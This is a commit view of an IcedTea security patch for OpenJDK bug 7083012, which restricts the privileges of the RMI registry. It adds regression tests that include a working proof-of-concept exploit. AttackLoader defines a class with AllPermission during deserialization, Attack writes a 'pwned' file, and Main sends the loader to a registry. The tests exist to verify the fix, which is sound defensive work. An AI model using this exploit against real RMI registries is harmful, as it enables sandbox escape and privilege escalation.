view patches/security/20111018/7083012.patch @ 2161:7524f507af5c

Apply latest security patches. 2011-10-17 Andrew John Hughes <ahughes@redhat.com> * Makefile.am: Add patches. * NEWS: List security updates. * patches/icedtea-rhino.patch: Change after 7046823 is applied. * patches/icedtea-xjc.patch: Update against 7046794. * patches/security/20111018/7000600.patch, * patches/security/20111018/7019773.patch, * patches/security/20111018/7023640.patch, * patches/security/20111018/7032417.patch, * patches/security/20111018/7046823.patch, * patches/security/20111018/7055902.patch, * patches/security/20111018/7057857.patch, * patches/security/20111018/7064341.patch, * patches/security/20111018/7083012.patch, * patches/security/20111018/7096936.patch, * patches/security/20111018/7046794.patch, * patches/security/20111018/7077466.patch: Add security patches.
author Andrew John Hughes <ahughes@redhat.com>
date Mon, 17 Oct 2011 15:40:23 +0100
parents
children b3744307bac0
line wrap: on
line source

--- openjdk/jdk/src/share/classes/sun/rmi/registry/RegistryImpl.java	Fri Sep 16 10:02:57 2011
+++ openjdk/jdk/src/share/classes/sun/rmi/registry/RegistryImpl.java	Fri Sep 16 10:02:42 2011
@@ -38,13 +38,23 @@
 import java.rmi.registry.Registry;
 import java.rmi.server.RMIClientSocketFactory;
 import java.rmi.server.RMIServerSocketFactory;
+import java.security.AccessControlContext;
+import java.security.AccessController;
+import java.security.CodeSource;
+import java.security.Policy; 
 import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import java.security.PermissionCollection;
+import java.security.Permissions;
+import java.security.ProtectionDomain; 
 import java.text.MessageFormat;
+import sun.rmi.server.LoaderHandler;
 import sun.rmi.server.UnicastServerRef;
 import sun.rmi.server.UnicastServerRef2;
 import sun.rmi.transport.LiveRef;
 import sun.rmi.transport.ObjectTable;
 import sun.rmi.transport.Target;
+import sun.security.action.GetPropertyAction;
 
 /**
  * A "registry" exists on every node that allows RMI connections to
@@ -324,6 +334,19 @@
             URL[] urls = sun.misc.URLClassPath.pathToURLs(envcp);
             ClassLoader cl = new URLClassLoader(urls);
 
+            String codebaseProperty = null;
+            String prop = java.security.AccessController.doPrivileged(
+                new GetPropertyAction("java.rmi.server.codebase"));
+                if (prop != null && prop.trim().length() > 0) {
+                    codebaseProperty = prop;
+                }
+            URL[] codebaseURLs = null;
+            if (codebaseProperty != null) {
+                codebaseURLs = sun.misc.URLClassPath.pathToURLs(codebaseProperty);
+            } else {
+                codebaseURLs = new URL[0];
+            }
+
             /*
              * Fix bugid 4242317: Classes defined by this class loader should
              * be annotated with the value of the "java.rmi.server.codebase"
@@ -333,11 +356,19 @@
 
             Thread.currentThread().setContextClassLoader(cl);
 
-            int regPort = Registry.REGISTRY_PORT;
-            if (args.length >= 1) {
-                regPort = Integer.parseInt(args[0]);
+            final int regPort = (args.length >= 1) ? Integer.parseInt(args[0])
+                                                   : Registry.REGISTRY_PORT;
+            try {
+                registry = AccessController.doPrivileged(
+                    new PrivilegedExceptionAction<RegistryImpl>() {
+                        public RegistryImpl run() throws RemoteException {
+                            return new RegistryImpl(regPort);
+                        }
+                    }, getAccessControlContext(codebaseURLs));
+            } catch (PrivilegedActionException ex) {
+                throw (RemoteException) ex.getException();
             }
-            registry = new RegistryImpl(regPort);
+
             // prevent registry from exiting
             while (true) {
                 try {
@@ -356,5 +387,47 @@
             e.printStackTrace();
         }
         System.exit(1);
+    }
+
+    /**
+     * Generates an AccessControlContext from several URLs.
+     * The approach used here is taken from the similar method
+     * getAccessControlContext() in the sun.applet.AppletPanel class.
+     */
+    private static AccessControlContext getAccessControlContext(URL[] urls) {
+        // begin with permissions granted to all code in current policy
+        PermissionCollection perms = AccessController.doPrivileged(
+            new java.security.PrivilegedAction<PermissionCollection>() {
+                public PermissionCollection run() {
+                    CodeSource codesource = new CodeSource(null,
+                        (java.security.cert.Certificate[]) null);
+                    Policy p = java.security.Policy.getPolicy();
+                    if (p != null) {
+                        return p.getPermissions(codesource);
+                    } else {
+                        return new Permissions();
+                    }
+                }
+            });
+
+        /*
+         * Anyone can connect to the registry and the registry can connect
+         * to and possibly download stubs from anywhere. Downloaded stubs and
+         * related classes themselves are more tightly limited by RMI.
+         */
+        perms.add(new SocketPermission("*", "connect,accept"));
+
+        // add permissions required to load from codebase URL path
+        LoaderHandler.addPermissionsForURLs(urls, perms, false);
+
+        /*
+         * Create an AccessControlContext that consists of a single
+         * protection domain with only the permissions calculated above.
+         */
+        ProtectionDomain pd = new ProtectionDomain(
+            new CodeSource((urls.length > 0 ? urls[0] : null),
+                (java.security.cert.Certificate[]) null),
+            perms);
+        return new AccessControlContext(new ProtectionDomain[] { pd });
     }
 }
--- openjdk/jdk/src/share/classes/sun/rmi/server/LoaderHandler.java	Fri Sep 16 10:03:34 2011
+++ openjdk/jdk/src/share/classes/sun/rmi/server/LoaderHandler.java	Fri Sep 16 10:03:20 2011
@@ -1028,7 +1028,7 @@
      * loader.  A given permission is only added to the collection if
      * it is not already implied by the collection.
      */
-    private static void addPermissionsForURLs(URL[] urls,
+    public static void addPermissionsForURLs(URL[] urls,
                                               PermissionCollection perms,
                                               boolean forLoader)
     {
--- /dev/null	Fri Sep 16 10:04:16 2011
+++ openjdk/jdk/test/sun/rmi/registry/7083012/altreg/Registry.java	Fri Sep 16 10:04:03 2011
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+
+package java.rmi.registry;
+
+import java.rmi.AccessException;
+import java.rmi.AlreadyBoundException;
+import java.rmi.NotBoundException;
+import java.rmi.Remote;
+import java.rmi.RemoteException;
+
+/**
+ * <code>Registry</code> is a remote interface to a simple remote
+ * object registry that provides methods for storing and retrieving
+ * remote object references bound with arbitrary string names.  The
+ * <code>bind</code>, <code>unbind</code>, and <code>rebind</code>
+ * methods are used to alter the name bindings in the registry, and
+ * the <code>lookup</code> and <code>list</code> methods are used to
+ * query the current name bindings.
+ *
+ * <p>In its typical usage, a <code>Registry</code> enables RMI client
+ * bootstrapping: it provides a simple means for a client to obtain an
+ * initial reference to a remote object.  Therefore, a registry's
+ * remote object implementation is typically exported with a
+ * well-known address, such as with a well-known {@link
+ * java.rmi.server.ObjID#REGISTRY_ID ObjID} and TCP port number
+ * (default is {@link #REGISTRY_PORT 1099}).
+ *
+ * <p>The {@link LocateRegistry} class provides a programmatic API for
+ * constructing a bootstrap reference to a <code>Registry</code> at a
+ * remote address (see the static <code>getRegistry</code> methods)
+ * and for creating and exporting a <code>Registry</code> in the
+ * current VM on a particular local address (see the static
+ * <code>createRegistry</code> methods).
+ *
+ * <p>A <code>Registry</code> implementation may choose to restrict
+ * access to some or all of its methods (for example, methods that
+ * mutate the registry's bindings may be restricted to calls
+ * originating from the local host).  If a <code>Registry</code>
+ * method chooses to deny access for a given invocation, its
+ * implementation may throw {@link java.rmi.AccessException}, which
+ * (because it extends {@link java.rmi.RemoteException}) will be
+ * wrapped in a {@link java.rmi.ServerException} when caught by a
+ * remote client.
+ *
+ * <p>The names used for bindings in a <code>Registry</code> are pure
+ * strings, not parsed.  A service which stores its remote reference
+ * in a <code>Registry</code> may wish to use a package name as a
+ * prefix in the name binding to reduce the likelihood of name
+ * collisions in the registry.
+ *
+ * @author	Ann Wollrath
+ * @author	Peter Jones
+ * @version	%I%, %E%
+ * @since	JDK1.1
+ * @see		LocateRegistry
+ */
+public interface Registry extends Remote {
+
+    /** Well known port for registry. */
+    public static final int REGISTRY_PORT = 1099;
+    
+    /**
+     * Returns the remote reference bound to the specified
+     * <code>name</code> in this registry.
+     *
+     * @param	name the name for the remote reference to look up
+     *
+     * @return	a reference to a remote object
+     *
+     * @throws	NotBoundException if <code>name</code> is not currently bound
+     *
+     * @throws	RemoteException if remote communication with the
+     * registry failed; if exception is a <code>ServerException</code>
+     * containing an <code>AccessException</code>, then the registry
+     * denies the caller access to perform this operation
+     *
+     * @throws	AccessException if this registry is local and it denies
+     * the caller access to perform this operation
+     *
+     * @throws	NullPointerException if <code>name</code> is <code>null</code>
+     */
+    public Remote lookup(Object name)
+	throws RemoteException, NotBoundException, AccessException;
+
+    /**
+     * Binds a remote reference to the specified <code>name</code> in
+     * this registry.
+     *
+     * @param	name the name to associate with the remote reference
+     * @param	obj a reference to a remote object (usually a stub)
+     *
+     * @throws	AlreadyBoundException if <code>name</code> is already bound
+     *
+     * @throws	RemoteException if remote communication with the
+     * registry failed; if exception is a <code>ServerException</code>
+     * containing an <code>AccessException</code>, then the registry
+     * denies the caller access to perform this operation (if
+     * originating from a non-local host, for example)
+     *
+     * @throws	AccessException if this registry is local and it denies
+     * the caller access to perform this operation
+     *
+     * @throws	NullPointerException if <code>name</code> is
+     * <code>null</code>, or if <code>obj</code> is <code>null</code>
+     */
+    public void bind(String name, Remote obj)
+	throws RemoteException, AlreadyBoundException, AccessException;
+
+    /**
+     * Removes the binding for the specified <code>name</code> in
+     * this registry.
+     *
+     * @param	name the name of the binding to remove
+     *
+     * @throws	NotBoundException if <code>name</code> is not currently bound
+     *
+     * @throws	RemoteException if remote communication with the
+     * registry failed; if exception is a <code>ServerException</code>
+     * containing an <code>AccessException</code>, then the registry
+     * denies the caller access to perform this operation (if
+     * originating from a non-local host, for example)
+     *
+     * @throws	AccessException if this registry is local and it denies
+     * the caller access to perform this operation
+     *
+     * @throws	NullPointerException if <code>name</code> is <code>null</code>
+     */
+    public void unbind(String name)
+	throws RemoteException, NotBoundException, AccessException;
+
+    /**
+     * Replaces the binding for the specified <code>name</code> in
+     * this registry with the supplied remote reference.  If there is
+     * an existing binding for the specified <code>name</code>, it is
+     * discarded.
+     *
+     * @param	name the name to associate with the remote reference
+     * @param	obj a reference to a remote object (usually a stub)
+     *
+     * @throws	RemoteException if remote communication with the
+     * registry failed; if exception is a <code>ServerException</code>
+     * containing an <code>AccessException</code>, then the registry
+     * denies the caller access to perform this operation (if
+     * originating from a non-local host, for example)
+     *
+     * @throws	AccessException if this registry is local and it denies
+     * the caller access to perform this operation
+     *
+     * @throws	NullPointerException if <code>name</code> is
+     * <code>null</code>, or if <code>obj</code> is <code>null</code>
+     */
+    public void rebind(String name, Remote obj)
+	throws RemoteException, AccessException;
+
+    /**
+     * Returns an array of the names bound in this registry.  The
+     * array will contain a snapshot of the names bound in this
+     * registry at the time of the given invocation of this method.
+     *
+     * @return	an array of the names bound in this registry
+     *
+     * @throws	RemoteException if remote communication with the
+     * registry failed; if exception is a <code>ServerException</code>
+     * containing an <code>AccessException</code>, then the registry
+     * denies the caller access to perform this operation
+     *
+     * @throws	AccessException if this registry is local and it denies
+     * the caller access to perform this operation
+     */
+    public String[] list() throws RemoteException, AccessException;
+}
--- /dev/null	Fri Sep 16 10:04:45 2011
+++ openjdk/jdk/test/sun/rmi/registry/7083012/altreg/RegistryImpl.java	Fri Sep 16 10:04:34 2011
@@ -0,0 +1,358 @@
+/*
+ * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+
+package sun.rmi.registry;
+
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+import java.io.IOException;
+import java.net.*;
+import java.rmi.*;
+import java.rmi.server.ObjID;
+import java.rmi.server.RemoteServer;
+import java.rmi.server.ServerNotActiveException;
+import java.rmi.registry.Registry;
+import java.rmi.server.RMIClientSocketFactory;
+import java.rmi.server.RMIServerSocketFactory;
+import java.security.PrivilegedActionException;
+import java.text.MessageFormat;
+import sun.rmi.server.UnicastServerRef;
+import sun.rmi.server.UnicastServerRef2;
+import sun.rmi.transport.LiveRef;
+import sun.rmi.transport.ObjectTable;
+import sun.rmi.transport.Target;
+
+/**
+ * A "registry" exists on every node that allows RMI connections to
+ * servers on that node.  The registry on a particular node contains a
+ * transient database that maps names to remote objects.  When the
+ * node boots, the registry database is empty.  The names stored in the
+ * registry are pure and are not parsed.  A service storing itself in
+ * the registry may want to prefix its name of the service by a package
+ * name (although not required), to reduce name collisions in the
+ * registry.
+ *
+ * The LocateRegistry class is used to obtain registry for different hosts.
+ *
+ * @see java.rmi.registry.LocateRegistry
+ */
+public class RegistryImpl extends java.rmi.server.RemoteServer
+	implements Registry
+{
+
+    /* indicate compatibility with JDK 1.1.x version of class */
+    private static final long serialVersionUID = 4666870661827494597L;
+    private Hashtable bindings = new Hashtable(101);
+    private static Hashtable allowedAccessCache = new Hashtable(3);
+    private static RegistryImpl registry;
+    private static ObjID id = new ObjID(ObjID.REGISTRY_ID);
+
+    private static ResourceBundle resources = null;
+
+    /**
+     * Construct a new RegistryImpl on the specified port with the
+     * given custom socket factory pair.  
+     */
+    public RegistryImpl(int port,
+			RMIClientSocketFactory csf, 
+			RMIServerSocketFactory ssf)
+	throws RemoteException
+    {
+	LiveRef lref = new LiveRef(id, port, csf, ssf);
+	setup(new UnicastServerRef2(lref));
+    }
+    
+    /**
+     * Construct a new RegistryImpl on the specified port.
+     */
+    public RegistryImpl(int port)
+	throws RemoteException
+    {
+	LiveRef lref = new LiveRef(id, port);
+	setup(new UnicastServerRef(lref));
+    }
+    
+    /*
+     * Create the export the object using the parameter
+     * <code>uref</code> 
+     */
+    private void setup(UnicastServerRef uref)
+	throws RemoteException
+    {
+	/* Server ref must be created and assigned before remote
+	 * object 'this' can be exported.  
+	 */
+	ref = uref;
+	uref.exportObject(this, null, true);
+    }
+
+    /**
+     * Returns the remote object for specified name in the registry.
+     * @exception RemoteException If remote operation failed.
+     * @exception NotBound If name is not currently bound.
+     */
+    public Remote lookup(Object name)
+	throws RemoteException, NotBoundException
+    {
+	synchronized (bindings) {
+	    Remote obj = (Remote)bindings.get(name);
+	    if (obj == null)
+		throw new NotBoundException();
+	    return obj;
+	}
+    }
+
+    /**
+     * Binds the name to the specified remote object.
+     * @exception RemoteException If remote operation failed.
+     * @exception AlreadyBoundException If name is already bound.
+     */
+    public void bind(String name, Remote obj)
+	throws RemoteException, AlreadyBoundException, AccessException
+    {
+	checkAccess("Registry.bind");
+	synchronized (bindings) {
+	    Remote curr = (Remote)bindings.get(name);
+	    if (curr != null)
+		throw new AlreadyBoundException(name);
+	    bindings.put(name, obj);
+	}
+    }
+
+    /**
+     * Unbind the name.
+     * @exception RemoteException If remote operation failed.
+     * @exception NotBound If name is not currently bound.
+     */
+    public void unbind(String name)
+	throws RemoteException, NotBoundException, AccessException
+    {
+	checkAccess("Registry.unbind");
+	synchronized (bindings) {
+	    Remote obj = (Remote)bindings.get(name);
+	    if (obj == null)
+		throw new NotBoundException(name);
+	    bindings.remove(name);
+	}
+    }
+    
+    /** 
+     * Rebind the name to a new object, replaces any existing binding.
+     * @exception RemoteException If remote operation failed.
+     */
+    public void rebind(String name, Remote obj)
+	throws RemoteException, AccessException
+    {
+	checkAccess("Registry.rebind");
+	bindings.put(name, obj);
+    }
+
+    /**
+     * Returns an enumeration of the names in the registry.
+     * @exception RemoteException If remote operation failed.
+     */
+    public String[] list()
+	throws RemoteException
+    {
+	String[] names;
+	synchronized (bindings) {
+	    int i = bindings.size();
+	    names = new String[i];
+	    Enumeration enum_ = bindings.keys();
+	    while ((--i) >= 0)
+		names[i] = (String)enum_.nextElement();
+	}
+	return names;
+    }
+
+    /**
+     * Check that the caller has access to perform indicated operation.
+     * The client must be on same the same host as this server.
+     */
+    public static void checkAccess(String op) throws AccessException {   
+
+	try {
+	    /*
+	     * Get client host that this registry operation was made from.
+	     */
+	    final String clientHostName = getClientHost();
+	    InetAddress clientHost;
+
+	    try {
+		clientHost = (InetAddress)
+		    java.security.AccessController.doPrivileged(
+			new java.security.PrivilegedExceptionAction() {
+			public Object run()
+			    throws java.net.UnknownHostException
+			{
+			    return InetAddress.getByName(clientHostName);
+			}
+		    });
+	    } catch (PrivilegedActionException pae) {
+		throw (java.net.UnknownHostException) pae.getException();
+	    }
+
+	    // if client not yet seen, make sure client allowed access
+	    if (allowedAccessCache.get(clientHost) == null) {
+
+		if (clientHost.isAnyLocalAddress()) {
+		    throw new AccessException(
+			"Registry." + op + " disallowed; origin unknown");
+		}
+
+		try {
+		    final InetAddress finalClientHost = clientHost;
+
+		    java.security.AccessController.doPrivileged(
+		        new java.security.PrivilegedExceptionAction() {
+			    public Object run() throws java.io.IOException {
+				/*
+				 * if a ServerSocket can be bound to the client's
+				 * address then that address must be local
+				 */
+				(new ServerSocket(0, 10, finalClientHost)).close();
+				allowedAccessCache.put(finalClientHost, 
+						       finalClientHost);
+				return null;
+			    }
+		    });
+		} catch (PrivilegedActionException pae) {
+		    // must have been an IOException 
+
+		    throw new AccessException(
+			"Registry." + op + " disallowed; origin " +
+		        clientHost + " is non-local host");
+		}
+	    }
+	} catch (ServerNotActiveException ex) {
+	    /*
+	     * Local call from this VM: allow access.
+	     */
+	} catch (java.net.UnknownHostException ex) {
+	    throw new AccessException("Registry." + op +
+				      " disallowed; origin is unknown host");
+	}
+    }
+
+    public static ObjID getID() {
+	return id;
+    }
+    
+    /**
+     * Retrieves text resources from the locale-specific properties file.
+     */
+    private static String getTextResource(String key) {
+	if (resources == null) {
+	    try {
+		resources = ResourceBundle.getBundle(
+		    "sun.rmi.registry.resources.rmiregistry");
+	    } catch (MissingResourceException mre) {
+	    }
+	    if (resources == null) {
+		// throwing an Error is a bit extreme, methinks
+		return ("[missing resource file: " + key + "]");
+	    }
+	}
+
+	String val = null;
+	try {
+	    val = resources.getString(key);
+	} catch (MissingResourceException mre) {
+	}
+	
+	if (val == null) {
+	    return ("[missing resource: " + key + "]");
+	} else {
+	    return (val);
+	}
+    }
+
+    /**
+     * Main program to start a registry. <br>
+     * The port number can be specified on the command line.
+     */
+    public static void main(String args[])
+    {
+	// Create and install the security manager if one is not installed
+	// already.
+	if (System.getSecurityManager() == null) {
+	    System.setSecurityManager(new RMISecurityManager());
+	}
+
+	try {
+	    /*
+	     * Fix bugid 4147561: When JDK tools are executed, the value of
+	     * the CLASSPATH environment variable for the shell in which they
+	     * were invoked is no longer incorporated into the application
+	     * class path; CLASSPATH's only effect is to be the value of the
+	     * system property "env.class.path".  To preserve the previous
+	     * (JDK1.1 and JDK1.2beta3) behavior of this tool, however, its
+	     * CLASSPATH should still be considered when resolving classes
+	     * being unmarshalled.  To effect this old behavior, a class
+	     * loader that loads from the file path specified in the
+	     * "env.class.path" property is created and set to be the context
+	     * class loader before the remote object is exported.
+	     */
+	    String envcp = System.getProperty("env.class.path");
+	    if (envcp == null) {
+		envcp = ".";		// preserve old default behavior
+	    }
+	    URL[] urls = sun.misc.URLClassPath.pathToURLs(envcp);
+	    ClassLoader cl = new URLClassLoader(urls);
+
+	    /*
+	     * Fix bugid 4242317: Classes defined by this class loader should
+	     * be annotated with the value of the "java.rmi.server.codebase"
+	     * property, not the "file:" URLs for the CLASSPATH elements.
+	     */
+	    sun.rmi.server.LoaderHandler.registerCodebaseLoader(cl);
+
+	    Thread.currentThread().setContextClassLoader(cl);
+
+	    int regPort = Registry.REGISTRY_PORT;
+	    if (args.length >= 1) {
+		regPort = Integer.parseInt(args[0]);
+	    }
+	    registry = new RegistryImpl(regPort);
+	    // prevent registry from exiting
+	    while (true) {
+		try {
+		    Thread.sleep(Long.MAX_VALUE);
+		} catch (InterruptedException e) {
+		}
+	    }
+	} catch (NumberFormatException e) {
+	    System.err.println(MessageFormat.format(
+	        getTextResource("rmiregistry.port.badnumber"), 
+		args[0] ));
+	    System.err.println(MessageFormat.format(
+	        getTextResource("rmiregistry.usage"), 
+		"rmiregistry" ));
+	} catch (Exception e) {
+	    e.printStackTrace();
+	}
+	System.exit(1);
+    }
+}
--- /dev/null	Fri Sep 16 10:05:16 2011
+++ openjdk/jdk/test/sun/rmi/registry/7083012/Attack.java	Fri Sep 16 10:05:05 2011
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+
+import java.io.*;
+import java.security.*;
+
+public class Attack implements PrivilegedExceptionAction<Void> {
+    public Void run() throws IOException {
+        String filename = "pwnd.txt";
+        System.out.println("Attack: running with elevated permissions");
+        FileWriter fw = new FileWriter(filename);
+        fw.write("You've just been pwned!\n");
+        fw.close();
+        System.out.println("BAD: successfully wrote to local filesystem");
+        return null;
+    }
+
+    public Attack() throws PrivilegedActionException {
+        AccessController.doPrivileged(this);
+    }
+}
--- /dev/null	Fri Sep 16 10:05:47 2011
+++ openjdk/jdk/test/sun/rmi/registry/7083012/AttackLoader.java	Fri Sep 16 10:05:33 2011
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+
+import java.io.*;
+import java.security.*;
+
+public class AttackLoader extends ClassLoader implements java.io.Serializable {
+    public AttackLoader() { }
+
+    public Object readResolve() throws ObjectStreamException, ClassFormatError,
+            InstantiationException, IllegalAccessException,
+            PrivilegedActionException, IOException {
+        System.out.println("AttackLoader: readResolve()");
+
+        byte[] classbytes = new byte[100000]; // should be big enough
+        InputStream in = getClass().getResourceAsStream("/Attack.class");
+        int len = in.read(classbytes);
+
+        AllPermission ap = new AllPermission();
+        PermissionCollection pc = ap.newPermissionCollection();
+        pc.add(ap);
+        ProtectionDomain pd = new ProtectionDomain(
+            new CodeSource(null, (CodeSigner[])null), pc);
+
+        System.out.println("AttackLoader: calling defineClass()");
+        Class<?> clazz = defineClass(null, classbytes, 0, len, pd);
+        System.out.println("AttackLoader: instantiating loaded class");
+        Object obj = clazz.newInstance();
+        return this;
+    }
+}
--- /dev/null	Fri Sep 16 10:06:20 2011
+++ openjdk/jdk/test/sun/rmi/registry/7083012/Main.java	Fri Sep 16 10:06:08 2011
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+
+import java.rmi.RemoteException;
+import java.rmi.NotBoundException;
+import java.rmi.registry.Registry;
+import java.rmi.registry.LocateRegistry;
+
+public class Main {
+    public static void main(String args[])
+            throws RemoteException, NotBoundException {
+        Registry registry;
+        if (args.length > 0) {
+            System.out.println("attacking registry at " + args[0]);
+            registry = LocateRegistry.getRegistry(args[0]);
+        } else {
+            System.out.println("attacking local registry");
+            registry = LocateRegistry.getRegistry();
+        }
+        registry.lookup(new AttackLoader());
+    }
+}
--- /dev/null	Fri Sep 16 10:06:47 2011
+++ openjdk/jdk/test/sun/rmi/registry/7083012/Test7083012.sh	Fri Sep 16 10:06:37 2011
@@ -0,0 +1,129 @@
+#
+# Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
+# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+#
+# This code is free software; you can redistribute it and/or modify it
+# under the terms of the GNU General Public License version 2 only, as
+# published by the Free Software Foundation.
+#
+# This code is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+# version 2 for more details (a copy is included in the LICENSE file that
+# accompanied this code).
+#
+# You should have received a copy of the GNU General Public License version
+# 2 along with this work; if not, write to the Free Software Foundation,
+# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+# Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+# or visit www.oracle.com if you need additional information or have any
+# questions.
+#
+
+# @test
+# @bug 7083012
+# @summary new bug to cover the vulnerability with the RMI Registry
+# @run shell/timeout=100 Test7083012.sh
+
+OS=`uname -s`
+case "$OS" in
+  SunOS | Linux )
+    PS=":"
+    FS="/"
+    ;;
+  Windows* | CYGWIN* )
+    PS=";"
+    FS="\\"
+    ;;
+  * )
+    echo "Unrecognized system!"
+    exit 1;
+    ;;
+esac
+
+# Look in various places for JDK boot files for rmic.
+RMIC_BOOT=
+for f in \
+        ${TESTJAVA}${FS}jre${FS}lib${FS}rt.jar \
+        ${TESTJAVA}${FS}lib${FS}rt.jar \
+        ${TESTJAVA}${FS}classes ; do
+    if [ -f "$f" -o -d "$f" ] ; then
+        RMIC_BOOT="$f"
+        break
+    fi
+done
+
+if [ -z "$RMIC_BOOT" ]; then
+    echo "No boot classes found. Needed for this test. Exiting."
+    exit 1;
+fi
+
+echo RMIC_BOOT=$RMIC_BOOT
+
+RMIC_OUT=rmic.out
+REGISTRY_DIR=sun${FS}rmi${FS}registry
+RMIREG_OUT=rmireg_out.txt
+
+cp -r ${TESTSRC}${FS}altreg .
+cp ${TESTSRC}${FS}*java .
+
+mkdir rmi_tmp
+cd rmi_tmp
+#start rmiregistry without any local classes on classpath
+${TESTJAVA}${FS}bin${FS}rmiregistry > ..${FS}${RMIREG_OUT} 2>&1 &
+RMIREG_PID=$!
+# allow some time to start 
+sleep 5
+cd ..
+
+# do altreg stuff
+cd altreg
+mkdir classes ${RMIC_OUT}
+${TESTJAVA}${FS}bin${FS}javac -d classes Registry.java RegistryImpl.java
+${TESTJAVA}${FS}bin${FS}rmic -keepgenerated -v1.1 \
+        -bootclasspath classes${PS}${RMIC_BOOT} \
+        -d ${RMIC_OUT} sun.rmi.registry.RegistryImpl
+
+mv ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java.orig
+sed 's/\(long interfaceHash\).*$/\1 = 4905912898345647071L;/' \
+        ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java.orig > ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java
+
+mv ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java  ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java.orig
